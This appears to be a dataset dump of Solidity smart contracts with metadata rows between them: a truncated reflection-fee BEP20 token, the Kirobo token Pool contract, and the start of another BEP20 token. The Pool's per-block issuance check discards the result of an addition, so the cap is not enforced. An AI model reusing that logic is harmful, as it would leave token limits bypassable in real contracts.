bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**6 * 10**7;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = '8Dollar.Net';
string private _symbol = '8DOLL';
uint8 private _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _burnFee = 1;
uint256 private _maxTxAmount = 2500e9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 9000e9 , 'maxTxAmount should be greater than 9000e9');
_maxTxAmount = maxTxAmount;
}
}
| 41,761 | 715 |
41dd010a81300530659c246a8278720c99aefc244e116b17b7fd3da3300e8b9b
| 22,470 |
.sol
|
Solidity
| false |
282969719
|
kiroboio/ki-eth-token
|
88f3aef070e9593a926470377814350134b16bcb
|
contracts/Pool.sol
| 5,861 | 21,400 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
struct Account {
uint256 nonce;
uint256 balance;
uint256 issueBlock;
uint256 pending;
uint256 withdrawal;
uint256 releaseBlock;
bytes32 secretHash;
}
library AccountUtils {
using SafeMath for uint256;
function initNonce(Account storage self) internal {
if (self.nonce == 0) {
self.nonce =
uint256(1) << 240 |
uint256(blockhash(block.number-1)) << 80 >> 32 |
now;
}
}
function updateNonce(Account storage self) internal {
uint256 count = self.nonce >> 240;
uint256 nonce =
++count << 240 |
uint256(blockhash(block.number-1)) << 80 >> 32 |
now;
require(uint16(self.nonce) != uint16(nonce), "Pool: too soon");
self.nonce = nonce;
}
function acceptPending(Account storage self, uint256 value) internal {
uint256 pending = self.pending;
require(pending > 0, "Pool: no pending tokens");
require(pending == value, "Pool: value must equal issued tokens");
self.secretHash = 0;
self.pending = 0;
self.balance = self.balance.add(pending);
}
function take(Account storage self, uint256 value) internal {
self.balance = self.balance.add(value);
}
function payment(Account storage self, uint256 value) internal {
self.balance = self.balance.sub(value);
}
function deposit(Account storage self, uint256 value) internal {
self.balance = self.balance.add(value);
}
function withdraw(Account storage self, uint256 value) internal {
self.withdrawal = 0;
self.releaseBlock = 0;
self.balance = self.balance.sub(value);
}
}
struct Supply {
uint256 total;
uint256 minimum;
uint256 pending;
}
library SupplyUtils {
using SafeMath for uint256;
// event MinimumReached(uint256 before, uint256 delta);
modifier checkAvailability(Supply storage self) {
_;
require(self.total >= self.minimum.add(self.pending), "Pool: not enough available tokens");
}
// modifier safeReduceMinimum(Supply storage self, uint256 value) {
// self.minimum > value ? self.minimum -= value : self.minimum = 0;
// if (self.minimum == 0) {
// emit MinimumReached(self.minimum, value);
// }
// _;
// }
function updatePending(Supply storage self, uint256 from, uint256 to) internal checkAvailability(self) {
self.pending = self.pending.add(to).sub(from, "Pool: not enough available tokens");
}
function acceptPending(Supply storage self, uint256 value) internal {
self.pending = self.pending.sub(value, "Pool: not enough pending");
self.minimum = self.minimum.add(value);
}
function give(Supply storage self, uint256 value) internal checkAvailability(self) {
self.minimum = self.minimum.add(value);
}
function payment(Supply storage self, uint256 value) internal {
self.minimum = self.minimum.sub(value); // this line should be remove if using safeReduceMinimum modifier
}
function deposit(Supply storage self, uint256 value) internal {
self.minimum = self.minimum.add(value);
self.total = self.total.add(value);
}
function widthdraw(Supply storage self, uint256 value) internal checkAvailability(self) {
self.minimum = self.minimum.sub(value); // this line should be remove if using safeReduceMinimum modifier
self.total = self.total.sub(value);
}
function decrease(Supply storage self, uint256 value) internal checkAvailability(self) {
self.total = self.total.sub(value, "Pool: value larger than total");
}
function update(Supply storage self, uint256 value) internal checkAvailability(self) {
self.total = value;
}
function available(Supply storage self) internal view returns (uint256) {
return self.total.sub(self.minimum.add(self.pending));
}
}
struct Limits {
uint256 releaseDelay;
uint256 maxTokensPerIssue;
uint256 maxTokensPerBlock;
}
struct Entities {
address manager;
address token;
address wallet;
}
contract Pool is AccessControl {
using AccountUtils for Account;
using SupplyUtils for Supply;
using SafeERC20 for IERC20;
using SafeMath for uint256;
bytes32 private s_uid;
Supply private s_supply;
Limits private s_limits;
Entities private s_entities;
uint256 private s_lastIssuedBlock;
uint256 private s_totalIssuedInBlock;
mapping(address => Account) private s_accounts;
uint8 public constant VERSION_NUMBER = 0x1;
uint256 public constant MAX_RELEASE_DELAY = 11_520; // about 48h
string public constant NAME = "Kirobo Pool";
string public constant VERSION = "1";
bytes32 public DOMAIN_SEPARATOR;
bytes public DOMAIN_SEPARATOR_ASCII;
uint256 public CHAIN_ID;
// keccak256("ADMIN_ROLE");
bytes32 public constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775;
// keccak256("acceptTokens(address recipient,uint256 value,bytes32 secretHash)");
bytes32 public constant ACCEPT_TYPEHASH = 0xf728cfc064674dacd2ced2a03acd588dfd299d5e4716726c6d5ec364d16406eb;
// keccak256("payment(address from,uint256 value,uint256 nonce)");
bytes32 public constant PAYMENT_TYPEHASH = 0x841d82f71fa4558203bb763733f6b3326ecaf324143e12fb9b6a9ed958fc4ee0;
// keccak256("buyTokens(address recipient,uint256 eth,uint256 kiro,uint256 expires)");
bytes32 public constant BUY_TYPEHASH = 0x866880cdfbc2380b3f4581d70707601f3d190bc04c3ee9cfcdac070a5f87b758;
event TokensIssued(address indexed account, uint256 value, bytes32 secretHash);
event TokensAccepted(address indexed account, bool directCall);
event TokensDistributed(address indexed account, uint256 value);
event Payment(address indexed account, uint256 value);
event Deposit(address indexed account, uint256 value);
event WithdrawalRequested(address indexed account, uint256 value);
event WithdrawalCanceled(address indexed account);
event Withdrawal(address indexed account, uint256 value);
event EtherTransfered(address indexed to, uint256 value);
event TokensTransfered(address indexed to, uint256 value);
event ManagerChanged(address from, address to);
event WalletChanged(address from, address to);
event ReleaseDelayChanged(uint256 from, uint256 to);
event MaxTokensPerIssueChanged(uint256 from, uint256 to);
event MaxTokensPerBlockChanged(uint256 from, uint256 to);
modifier onlyAdmin() {
require(hasRole(ADMIN_ROLE, msg.sender), "Pool: not an admin");
_;
}
modifier onlyManager() {
require(hasRole(ADMIN_ROLE, msg.sender) || msg.sender == s_entities.manager, "Pool: not admin or manager");
_;
}
constructor(address tokenContract) public {
uint256 chainId;
assembly {
chainId := chainid()
}
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(ADMIN_ROLE, msg.sender);
s_entities.token = tokenContract;
s_limits = Limits({releaseDelay: 240, maxTokensPerIssue: 10*1000*(10**18), maxTokensPerBlock: 50*1000*(10**18)});
s_uid = bytes32(uint256(VERSION_NUMBER) << 248 |
uint256(blockhash(block.number-1)) << 192 >> 16 |
uint256(address(this)));
CHAIN_ID = chainId;
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)"),
keccak256(bytes(NAME)),
keccak256(bytes(VERSION)),
chainId,
address(this),
s_uid));
DOMAIN_SEPARATOR_ASCII = _hashToAscii(DOMAIN_SEPARATOR);
}
receive () external payable {
require(false, "Pool: not accepting ether");
}
// ----------- Admin Functions ------------
function setManager(address manager) external onlyAdmin() {
require(manager != address(this), "Pool: self cannot be mananger");
require(manager != s_entities.token, "Pool: token cannot be manager");
emit ManagerChanged(s_entities.manager, manager);
s_entities.manager = manager;
}
function setWallet(address wallet) external onlyAdmin() {
require(wallet != address(this), "Pool: self cannot be wallet");
require(wallet != s_entities.token, "Pool: token cannot be wallt");
emit WalletChanged(s_entities.wallet, wallet);
s_entities.wallet = wallet;
}
function setReleaseDelay(uint256 blocks) external onlyAdmin() {
require(blocks <= MAX_RELEASE_DELAY, "Pool: exeeds max release delay");
emit ReleaseDelayChanged(s_limits.releaseDelay, blocks);
s_limits.releaseDelay = blocks;
}
function setMaxTokensPerIssue(uint256 tokens) external onlyAdmin() {
emit MaxTokensPerIssueChanged(s_limits.maxTokensPerIssue, tokens);
s_limits.maxTokensPerIssue = tokens;
}
function setMaxTokensPerBlock(uint256 tokens) external onlyAdmin() {
emit MaxTokensPerBlockChanged(s_limits.maxTokensPerBlock, tokens);
s_limits.maxTokensPerBlock = tokens;
}
function resyncTotalSupply(uint256 value) external onlyManager() returns (uint256) {
uint256 tokens = ownedTokens();
require(tokens >= s_supply.total, "Pool: internal error, check contract logic");
require(value >= s_supply.total, "Pool: only transferTokens can decrease total supply");
require(value <= tokens, "Pool: not enough tokens");
s_supply.update(value);
}
// ----------- Admins Functions ------------
function transferEther(uint256 value) external onlyManager() {
require(s_entities.wallet != address(0), "Pool: wallet not set");
payable(s_entities.wallet).transfer(value);
emit EtherTransfered(s_entities.wallet, value);
}
function transferTokens(uint256 value) external onlyManager() {
require(s_entities.wallet != address(0), "Pool: wallet not set");
s_supply.decrease(value);
IERC20(s_entities.token).safeTransfer(s_entities.wallet, value);
emit TokensTransfered(s_entities.wallet, value);
}
function distributeTokens(address to, uint256 value) external onlyManager() {
_distributeTokens(to, value);
}
function _distributeTokens(address to, uint256 value) private {
require(value <= s_limits.maxTokensPerIssue, "Pool: exeeds max tokens per call");
require(s_accounts[to].issueBlock < block.number, "Pool: too soon");
_validateTokensPerBlock(value);
Account storage sp_account = s_accounts[to];
sp_account.issueBlock = block.number;
sp_account.initNonce();
s_supply.give(value);
sp_account.take(value);
emit TokensDistributed(to, value);
}
function issueTokens(address to, uint256 value, bytes32 secretHash) external onlyManager() {
require(value <= s_limits.maxTokensPerIssue, "Pool: exeeds max tokens per call");
_validateTokensPerBlock(value);
Account storage sp_account = s_accounts[to];
uint256 prevPending = sp_account.pending;
sp_account.initNonce();
sp_account.secretHash = secretHash;
sp_account.pending = value;
sp_account.issueBlock = block.number;
s_supply.updatePending(prevPending, value);
emit TokensIssued(to, value, secretHash);
}
function executeAcceptTokens(address recipient,
uint256 value,
bytes calldata c_secret,
uint8 v,
bytes32 r,
bytes32 s,
bool eip712)
external
onlyManager()
{
require(s_accounts[recipient].secretHash == keccak256(c_secret), "Pool: wrong secret");
require(validateAcceptTokens(recipient, value, keccak256(c_secret), v, r ,s, eip712),
"Pool: wrong signature or data");
_acceptTokens(recipient, value);
emit TokensAccepted(recipient, false);
}
function executePayment(address from, uint256 value, uint8 v, bytes32 r, bytes32 s, bool eip712)
external
onlyManager()
{
require(validatePayment(from, value, v, r, s, eip712), "Pool: wrong signature or data");
Account storage sp_account = s_accounts[from];
sp_account.updateNonce();
sp_account.payment(value);
s_supply.payment(value);
emit Payment(from, value);
}
// ----------- External Functions ------------
function executeBuyTokens(uint256 kiro, uint256 expires, uint8 v, bytes32 r, bytes32 s, bool eip712)
external
payable
{
require(validateBuyTokens(msg.sender, msg.value, kiro, expires, v, r, s, eip712), "Pool: wrong signature or data");
require(now <= expires, "Pool: too late");
_distributeTokens(msg.sender, kiro);
}
function acceptTokens(uint256 value, bytes calldata c_secret) external {
require(s_accounts[msg.sender].secretHash == keccak256(c_secret), "Pool: wrong secret");
_acceptTokens(msg.sender, value);
emit TokensAccepted(msg.sender, true);
}
function depositTokens(uint256 value) external {
// require(// IERC20(s_entities.token).allowance(msg.sender, address(this)) >= value,
// "IERC20 allowance too low"
//);
Account storage sp_account = s_accounts[msg.sender];
sp_account.initNonce();
sp_account.deposit(value);
s_supply.deposit(value);
IERC20(s_entities.token).safeTransferFrom(msg.sender, address(this), value);
emit Deposit(msg.sender, value);
}
function requestWithdrawal(uint256 value) external {
require(s_accounts[msg.sender].balance >= value, "Pool: not enough tokens");
require(value > 0, "Pool: withdrawal value must be larger then 0");
s_accounts[msg.sender].withdrawal = value;
s_accounts[msg.sender].releaseBlock = block.number + s_limits.releaseDelay;
emit WithdrawalRequested(msg.sender, value);
}
function cancelWithdrawal() external {
s_accounts[msg.sender].withdrawal = 0;
s_accounts[msg.sender].releaseBlock = 0;
emit WithdrawalCanceled(msg.sender);
}
function withdrawTokens() external {
Account storage sp_account = s_accounts[msg.sender];
require(sp_account.withdrawal > 0, "Pool: no withdraw request");
require(sp_account.releaseBlock <= block.number, "Pool: too soon");
uint256 value = sp_account.withdrawal > sp_account.balance ? sp_account.balance : sp_account.withdrawal;
sp_account.withdraw(value);
s_supply.widthdraw(value);
IERC20(s_entities.token).safeTransfer(msg.sender, value);
emit Withdrawal(msg.sender, value);
}
function account(address addr) external view
returns (uint256 nonce,
uint256 balance,
uint256 issueBlock,
uint256 pending,
uint256 withdrawal,
uint256 releaseBlock,
bytes32 secretHash,
uint256 externalBalance)
{
Account storage sp_account = s_accounts[addr];
uint256 extBalance = IERC20(s_entities.token).balanceOf(addr);
return (sp_account.nonce,
sp_account.balance,
sp_account.issueBlock,
sp_account.pending,
sp_account.withdrawal,
sp_account.releaseBlock,
sp_account.secretHash,
extBalance);
}
function entities() view external
returns (address manager,
address token,
address wallet)
{
return (s_entities.manager,
s_entities.token,
s_entities.wallet);
}
function limits() external view
returns (uint256 releaseDelay,
uint256 maxTokensPerIssue,
uint256 maxTokensPerBlock)
{
return (s_limits.releaseDelay,
s_limits.maxTokensPerIssue,
s_limits.maxTokensPerBlock);
}
function supply() view external
returns (uint256 total,
uint256 minimum,
uint256 pending,
uint256 available)
{
return (s_supply.total,
s_supply.minimum,
s_supply.pending,
s_supply.available());
}
function uid() view external returns (bytes32) {
return s_uid;
}
function totalSupply() view external returns (uint256) {
return s_supply.total;
}
function availableSupply() view external returns (uint256) {
return s_supply.available();
}
// ----------- Public Functions ------------
function generateBuyTokensMessage(address recipient, uint256 eth, uint256 kiro, uint256 expires)
public view
returns (bytes memory)
{
Account storage sp_account = s_accounts[recipient];
return abi.encode(BUY_TYPEHASH,
recipient,
eth,
kiro,
expires,
sp_account.issueBlock);
}
function generateAcceptTokensMessage(address recipient, uint256 value, bytes32 secretHash)
public view
returns (bytes memory)
{
require(s_accounts[recipient].secretHash == secretHash, "Pool: wrong secret hash");
require(s_accounts[recipient].pending == value, "Pool: value must equal pending(issued tokens)");
return abi.encode(ACCEPT_TYPEHASH,
recipient,
value,
secretHash);
}
function generatePaymentMessage(address from, uint256 value)
public view
returns (bytes memory)
{
Account storage sp_account = s_accounts[from];
require(sp_account.balance >= value, "Pool: account balnace too low");
return abi.encode(PAYMENT_TYPEHASH,
from,
value,
sp_account.nonce);
}
function validateBuyTokens(address from,
uint256 eth,
uint256 kiro,
uint256 expires,
uint8 v,
bytes32 r,
bytes32 s,
bool eip712)
public view
returns (bool)
{
bytes32 message = _messageToRecover(keccak256(generateBuyTokensMessage(from, eth, kiro, expires)),
eip712);
address addr = ecrecover(message, v, r, s);
return addr == s_entities.manager;
}
function validateAcceptTokens(address recipient,
uint256 value,
bytes32 secretHash,
uint8 v,
bytes32 r,
bytes32 s,
bool eip712)
public view
returns (bool)
{
bytes32 message = _messageToRecover(keccak256(generateAcceptTokensMessage(recipient, value, secretHash)),
eip712);
address addr = ecrecover(message, v, r, s);
return addr == recipient;
}
function validatePayment(address from, uint256 value, uint8 v, bytes32 r, bytes32 s, bool eip712)
public view
returns (bool)
{
bytes32 message = _messageToRecover(keccak256(generatePaymentMessage(from, value)),
eip712);
address addr = ecrecover(message, v, r, s);
return addr == from;
}
function ownedTokens() view public returns (uint256) {
return IERC20(s_entities.token).balanceOf(address(this));
}
// ----------- Private Functions ------------
function _validateTokensPerBlock(uint256 value) private {
if (s_lastIssuedBlock < block.number) {
s_lastIssuedBlock = block.number;
s_totalIssuedInBlock = value;
} else {
s_totalIssuedInBlock.add(value);
}
require(s_totalIssuedInBlock <= s_limits.maxTokensPerBlock, "Pool: exeeds max tokens per block");
}
function _acceptTokens(address recipient, uint256 value) private {
require(s_accounts[recipient].issueBlock < block.number, "Pool: too soon");
s_accounts[recipient].acceptPending(value);
s_supply.acceptPending(value);
}
function _messageToRecover(bytes32 hashedUnsignedMessage, bool eip712)
private view
returns (bytes32)
{
if (eip712) {
return keccak256(abi.encodePacked
("\x19\x01",
DOMAIN_SEPARATOR,
hashedUnsignedMessage));
}
return keccak256(abi.encodePacked
("\x19Ethereum Signed Message:\n128",
DOMAIN_SEPARATOR_ASCII,
_hashToAscii(hashedUnsignedMessage)));
}
function _hashToAscii(bytes32 hash) private pure returns (bytes memory) {
bytes memory s = new bytes(64);
for (uint i = 0; i < 32; i++) {
byte b = hash[i];
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2*i] = _char(hi);
s[2*i+1] = _char(lo);
}
return s;
}
function _char(byte b) private pure returns (byte c) {
if (b < byte(uint8(10))) {
return byte(uint8(b) + 0x30);
} else {
return byte(uint8(b) + 0x57);
}
}
}
| 168,632 | 716 |
3f6872cf6abf4059608f602b2d007cad28799c6021261ab674f1d3de7090b75f
| 20,358 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xb7B2dEdE9EA1C90Ae03220DB648F7A59c3C2250E/contract.sol
| 2,517 | 9,148 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
